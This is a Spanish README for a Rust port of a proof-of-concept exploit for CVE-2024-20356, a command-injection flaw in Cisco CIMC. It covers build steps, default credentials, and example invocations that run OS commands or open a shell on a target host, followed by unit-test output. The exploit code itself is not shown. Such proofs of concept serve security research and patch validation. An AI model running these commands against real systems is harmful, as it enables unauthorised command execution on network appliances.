
Una versión oxidizada de https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
Esta es una prueba de concepto para CVE-2024-20356, una vulnerabilidad de inyección de comandos en Cisco CIMC.
Escrito por Aaron y oxidado por SherllyNeo
Los detalles técnicos completos se pueden encontrar en https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
Comandos de ejemplo:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
Usa el argumento --help para obtener instrucciones completas de uso.
Esta prueba de concepto tiene fines de demostración y no debe utilizarse para actividades ilegales. LRQA Nettitude no es responsable de ningún daño causado por el uso o mal uso de este código. No seas malvado
Escribí esto sin acceso al servidor, basándome en la base de código original.
Debido a esto, escribí pruebas unitarias exhaustivas para asegurarme de que las funciones de cifrado coinciden con las del original. Que el método de inicio de sesión funciona usando un servidor simulado. Que el análisis de argumentos funciona para direcciones IP.
Para ejecutar estas pruebas, usa cargo --test
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
Lo puse aquí porque evité usar mod.rs y para mostrar cómo main es un envoltorio fino alrededor de lib.
Esto es para permitir pruebas de integración en el futuro.
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs